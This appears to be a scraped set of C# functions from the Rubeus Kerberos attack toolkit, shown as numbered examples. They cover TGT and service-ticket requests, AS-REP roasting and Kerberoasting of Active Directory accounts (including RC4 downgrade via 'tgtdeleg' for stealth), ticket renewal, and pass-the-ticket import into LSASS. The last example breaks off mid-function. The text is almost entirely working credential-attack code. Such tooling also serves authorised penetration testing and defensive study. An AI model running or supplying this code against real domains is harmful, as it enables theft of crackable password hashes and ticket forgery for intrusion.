Example #1
0
        public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false, string serviceKey = "", bool getCredentials = false, string proxyUrl = null)
        {
            if ((ulong)luid != 0)
            {
                Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
            }

            byte[] response = null;
            string dcIP     = null;

            if (String.IsNullOrEmpty(proxyUrl))
            {
                dcIP = Networking.GetDCIP(domainController, false, asReq.req_body.realm);
                if (String.IsNullOrEmpty(dcIP))
                {
                    throw new RubeusException("[X] Unable to get domain controller address");
                }

                Console.WriteLine("[*] Using domain controller: {0}:88", dcIP);
                response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode());
            }
            else
            {
                Console.WriteLine("[*] Sending request via KDC proxy: {0}", proxyUrl);
                KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(asReq.Encode().Encode());
                message.target_domain = asReq.req_body.realm;
                response = Networking.MakeProxyRequest(proxyUrl, message);
            }
            if (response == null)
            {
                throw new RubeusException("[X] No answer from domain controller");
            }

            // decode the supplied bytes to an AsnElt object
            AsnElt responseAsn;

            try
            {
                responseAsn = AsnElt.Decode(response);
            }
            catch (Exception e)
            {
                throw new Exception($"Error parsing response AS-REQ: {e}.  Base64 response: {Convert.ToBase64String(response)}");
            }

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP)
            {
                if (verbose)
                {
                    Console.WriteLine("[+] TGT request successful!");
                }

                byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq, serviceKey, getCredentials, dcIP);

                return(kirbiBytes);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                throw new KerberosErrorException("", error);
            }
            else
            {
                throw new RubeusException("[X] Unknown application tag: " + responseTag);
            }
        }
Example #2
0
        public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "")
        {
            if (!String.IsNullOrEmpty(userName))
            {
                Console.WriteLine("[*] Target User            : {0}", userName);
            }
            if (!String.IsNullOrEmpty(OUName))
            {
                Console.WriteLine("[*] Target OU              : {0}", OUName);
            }
            if (!String.IsNullOrEmpty(domain))
            {
                Console.WriteLine("[*] Target Domain          : {0}", domain);
            }
            if (!String.IsNullOrEmpty(domainController))
            {
                Console.WriteLine("[*] Target DC              : {0}", domainController);
            }

            Console.WriteLine();

            if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController))
            {
                // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly
                GetASRepHash(userName, domain, domainController, format, outFile);
            }
            else
            {
                DirectoryEntry    directoryObject = null;
                DirectorySearcher userSearcher    = null;
                string            bindPath        = "";
                string            domainPath      = "";

                try
                {
                    if (cred != null)
                    {
                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
                        }
                        else
                        {
                            bindPath = String.Format("LDAP://{0}", cred.Domain);
                        }
                    }
                    else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName))
                    {
                        if (String.IsNullOrEmpty(domainController))
                        {
                            domainController = Networking.GetDCName();
                        }

                        bindPath = String.Format("LDAP://{0}", domainController);

                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("{0}/{1}", bindPath, ouPath);
                        }
                        else if (!String.IsNullOrEmpty(domain))
                        {
                            domainPath = domain.Replace(".", ",DC=");
                            bindPath   = String.Format("{0}/DC={1}", bindPath, domainPath);
                        }
                    }

                    if (!String.IsNullOrEmpty(bindPath))
                    {
                        directoryObject = new DirectoryEntry(bindPath);
                    }
                    else
                    {
                        directoryObject = new DirectoryEntry();
                    }

                    if (cred != null)
                    {
                        // if we're using alternate credentials for the connection
                        string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
                        directoryObject.Username = userDomain;
                        directoryObject.Password = cred.Password;

                        using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
                        {
                            if (!pc.ValidateCredentials(cred.UserName, cred.Password))
                            {
                                Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
                                return;
                            }
                            else
                            {
                                Console.WriteLine("[*] Using alternate creds  : {0}", userDomain);
                            }
                        }
                    }

                    userSearcher = new DirectorySearcher(directoryObject);
                    // enable LDAP paged search to get all results, by pages of 1000 items
                    userSearcher.PageSize = 1000;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }

                // check to ensure that the bind worked correctly
                try
                {
                    string dirPath = directoryObject.Path;
                    if (String.IsNullOrEmpty(dirPath))
                    {
                        Console.WriteLine("[*] Searching the current domain for AS-REP roastable users");
                    }
                    else
                    {
                        Console.WriteLine("[*] Searching path '{0}' for AS-REP roastable users", dirPath);
                    }
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                try
                {
                    string userSearchFilter = "";

                    if (String.IsNullOrEmpty(userName))
                    {
                        userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))";
                    }
                    else
                    {
                        userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName);
                    }
                    if (!String.IsNullOrEmpty(ldapFilter))
                    {
                        userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
                    }
                    userSearcher.Filter = userSearchFilter;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return;
                }

                try
                {
                    SearchResultCollection users = userSearcher.FindAll();

                    if (users.Count == 0)
                    {
                        Console.WriteLine("[X] No users found to AS-REP roast!");
                    }

                    foreach (SearchResult user in users)
                    {
                        string samAccountName    = user.Properties["samAccountName"][0].ToString();
                        string distinguishedName = user.Properties["distinguishedName"][0].ToString();
                        Console.WriteLine("[*] SamAccountName         : {0}", samAccountName);
                        Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);

                        GetASRepHash(samAccountName, domain, domainController, format, outFile);
                    }
                }
                catch (Exception ex)
                {
                    if (ex.InnerException != null)
                    {
                        Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.Message);
                    }
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }
Example #3
0
        public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, bool userStats = false)
        {
            if (userStats)
            {
                Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed.");
            }
            else if (TGT != null)
            {
                Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
            }
            else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
            {
                Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
                byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
                TGT = new KRB_CRED(delegTGTbytes);
                Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
            }
            else
            {
                Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
                Console.WriteLine("[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
            }

            if (!String.IsNullOrEmpty(spn))
            {
                Console.WriteLine("\r\n[*] Target SPN             : {0}", spn);

                if (TGT != null)
                {
                    // if a TGT .kirbi is supplied, use that for the request
                    //      this could be a passed TGT or if TGT delegation is specified
                    GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac);
                }
                else
                {
                    // otherwise use the KerberosRequestorSecurityToken method
                    GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
                }
            }
            else
            {
                if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
                {
                    if (!String.IsNullOrEmpty(userName))
                    {
                        if (userName.Contains(","))
                        {
                            Console.WriteLine("[*] Target Users           : {0}", userName);
                        }
                        else
                        {
                            Console.WriteLine("[*] Target User            : {0}", userName);
                        }
                    }
                    if (!String.IsNullOrEmpty(domain))
                    {
                        Console.WriteLine("[*] Target Domain          : {0}", domain);
                    }
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("[*] Target OU              : {0}", OUName);
                    }
                }

                DirectoryEntry    directoryObject = null;
                DirectorySearcher userSearcher    = null;
                string            bindPath        = "";
                string            domainPath      = "";

                try
                {
                    if (cred != null)
                    {
                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath);
                        }
                        else
                        {
                            bindPath = String.Format("LDAP://{0}", cred.Domain);
                        }
                    }
                    else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName))
                    {
                        if (String.IsNullOrEmpty(dc))
                        {
                            dc = Networking.GetDCName();
                        }

                        bindPath = String.Format("LDAP://{0}", dc);

                        if (!String.IsNullOrEmpty(OUName))
                        {
                            string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", "");
                            bindPath = String.Format("{0}/{1}", bindPath, ouPath);
                        }
                        else if (!String.IsNullOrEmpty(domain))
                        {
                            domainPath = domain.Replace(".", ",DC=");
                            bindPath   = String.Format("{0}/DC={1}", bindPath, domainPath);
                        }
                    }

                    if (!String.IsNullOrEmpty(bindPath))
                    {
                        directoryObject = new DirectoryEntry(bindPath);
                    }
                    else
                    {
                        directoryObject = new DirectoryEntry();
                    }

                    if (cred != null)
                    {
                        // if we're using alternate credentials for the connection
                        string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName);
                        directoryObject.Username = userDomain;
                        directoryObject.Password = cred.Password;

                        using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain))
                        {
                            if (!pc.ValidateCredentials(cred.UserName, cred.Password))
                            {
                                Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain);
                                return;
                            }
                            else
                            {
                                Console.WriteLine("[*] Using alternate creds  : {0}", userDomain);
                            }
                        }
                    }

                    userSearcher = new DirectorySearcher(directoryObject);
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }

                // check to ensure that the bind worked correctly
                try
                {
                    string dirPath = directoryObject.Path;
                    if (String.IsNullOrEmpty(dirPath))
                    {
                        Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
                    }
                    else
                    {
                        Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
                    }
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                try
                {
                    string userFilter = "";
                    if (!String.IsNullOrEmpty(userName))
                    {
                        if (userName.Contains(","))
                        {
                            // searching for multiple specified users, ensuring they're not disabled accounts
                            string userPart = "";
                            foreach (string user in userName.Split(','))
                            {
                                userPart += String.Format("(samAccountName={0})", user);
                            }
                            userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart);
                        }
                        else
                        {
                            // searching for a specified user, ensuring it's not a disabled account
                            userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
                        }
                    }
                    else
                    {
                        // if no user specified, filter out the krbtgt account and disabled accounts
                        userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
                    }

                    string encFilter = "";
                    if (String.Equals(supportedEType, "rc4opsec"))
                    {
                        // "opsec" RC4, meaning don't RC4 roast accounts that support AES
                        Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
                        encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                    }
                    else if (String.Equals(supportedEType, "aes"))
                    {
                        // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 ->  supported etypes includes AES128/256
                        Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
                        encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                    }

                    // Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
                    //       then RC4 tickets would NOT be returned, so the original filter was:
                    //  !msds-supportedencryptiontypes=*                        ->  null supported etypes, so RC4
                    //  msds-supportedencryptiontypes=0                         ->  no supported etypes specified, so RC4
                    //  msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 ->  supported etypes includes RC4
                    //  userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";

                    //  But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
                    //      so this fine-grained filtering is not needed

                    string userSearchFilter = "";
                    if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
                    {
                        if (String.IsNullOrEmpty(pwdSetAfter))
                        {
                            pwdSetAfter = "01-01-1601";
                        }
                        if (String.IsNullOrEmpty(pwdSetBefore))
                        {
                            pwdSetBefore = "01-01-2100";
                        }

                        Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore);

                        try
                        {
                            DateTime timeFromConverted  = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
                            DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
                            string   timePeriod         = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
                            userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
                        }
                        catch
                        {
                            Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
                            return;
                        }
                    }
                    else
                    {
                        userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
                    }

                    if (!String.IsNullOrEmpty(ldapFilter))
                    {
                        userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
                    }

                    userSearcher.Filter = userSearchFilter;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return;
                }

                try
                {
                    if (resultLimit > 0)
                    {
                        userSearcher.SizeLimit = resultLimit;
                        Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString());
                    }

                    SearchResultCollection users = userSearcher.FindAll();

                    if (users.Count == 0)
                    {
                        Console.WriteLine("\r\n[X] No users found to Kerberoast!");
                    }
                    else
                    {
                        Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count);
                    }

                    // used to keep track of user encryption types
                    SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>();
                    // used to keep track of years that users had passwords last set in
                    SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>();

                    foreach (SearchResult user in users)
                    {
                        string   samAccountName                 = user.Properties["samAccountName"][0].ToString();
                        string   distinguishedName              = user.Properties["distinguishedName"][0].ToString();
                        string   servicePrincipalName           = user.Properties["servicePrincipalName"][0].ToString();
                        long     lastPwdSet                     = (long)(user.Properties["pwdlastset"][0]);
                        DateTime pwdLastSet                     = DateTime.FromFileTimeUtc(lastPwdSet);
                        Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
                        if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
                        {
                            supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
                        }

                        try
                        {
                            if (!userETypes.ContainsKey(supportedETypes))
                            {
                                userETypes[supportedETypes] = 1;
                            }
                            else
                            {
                                userETypes[supportedETypes] = userETypes[supportedETypes] + 1;
                            }
                            int year = (int)pwdLastSet.Year;
                            if (!userPWDsetYears.ContainsKey(year))
                            {
                                userPWDsetYears[year] = 1;
                            }
                            else
                            {
                                userPWDsetYears[year] = userPWDsetYears[year] + 1;
                            }
                        }
                        catch { }

                        if (!userStats)
                        {
                            if (!simpleOutput)
                            {
                                Console.WriteLine("\r\n[*] SamAccountName         : {0}", samAccountName);
                                Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);
                                Console.WriteLine("[*] ServicePrincipalName   : {0}", servicePrincipalName);
                                Console.WriteLine("[*] PwdLastSet             : {0}", pwdLastSet);
                                Console.WriteLine("[*] Supported ETypes       : {0}", supportedETypes);
                            }

                            if (!String.IsNullOrEmpty(domain))
                            {
                                servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
                            }
                            if (TGT != null)
                            {
                                // if a TGT .kirbi is supplied, use that for the request
                                //      this could be a passed TGT or if TGT delegation is specified

                                if (String.Equals(supportedEType, "rc4") &&
                                    (
                                        ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
                                        ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
                                    )
                                    )
                                {
                                    // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
                                    GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac);
                                }
                                else
                                {
                                    // otherwise don't force RC4 - have all supported encryption types for opsec reasons
                                    GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc);
                                }
                            }
                            else
                            {
                                // otherwise use the KerberosRequestorSecurityToken method
                                GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
                            }
                        }
                    }

                    if (userStats)
                    {
                        var eTypeTable      = new ConsoleTable("Supported Encryption Type", "Count");
                        var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count");
                        Console.WriteLine();

                        // display stats about the users found
                        foreach (var item in userETypes)
                        {
                            eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString());
                        }
                        eTypeTable.Write();

                        foreach (var item in userPWDsetYears)
                        {
                            pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString());
                        }
                        pwdLastSetTable.Write();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }
Example #4
0
        public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false)
        {
            string dcIP = Networking.GetDCIP(domainController, display);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            if (display)
            {
                if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
                {
                    Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
                }
                else
                {
                    Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
                }

                Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
            }

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast);

            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                if (display)
                {
                    Console.WriteLine("[+] TGS request successful!");
                }

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);

                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = rep.crealm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                if (ptt)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                if (display)
                {
                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }

                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi);
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (display)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
Example #5
0
        public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", bool display = true)
        {
            string dcIP = Networking.GetDCIP(domainController, display);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            if (display)
            {
                Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName);
            }

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, true, "");

            byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] TGT renewal request successful!");

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                if (display)
                {
                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
                    if (false)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (display)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                if (ptt)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }
                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
Example #6
0
        public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "")
        {
            if (!String.IsNullOrEmpty(userName))
            {
                Console.WriteLine("[*] Target User            : {0}", userName);
            }
            if (!String.IsNullOrEmpty(OUName))
            {
                Console.WriteLine("[*] Target OU              : {0}", OUName);
            }
            if (!String.IsNullOrEmpty(domain))
            {
                Console.WriteLine("[*] Target Domain          : {0}", domain);
            }
            if (!String.IsNullOrEmpty(domainController))
            {
                Console.WriteLine("[*] Target DC              : {0}", domainController);
            }

            Console.WriteLine();

            if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController))
            {
                // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly
                GetASRepHash(userName, domain, domainController, format, outFile);
            }
            else
            {
                DirectoryEntry    directoryObject = null;
                DirectorySearcher userSearcher    = null;

                try
                {
                    if (String.IsNullOrEmpty(domainController))
                    {
                        domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain
                    }
                    directoryObject = Networking.GetLdapSearchRoot(cred, OUName, domainController, domain);
                    userSearcher    = new DirectorySearcher(directoryObject);
                    // enable LDAP paged search to get all results, by pages of 1000 items
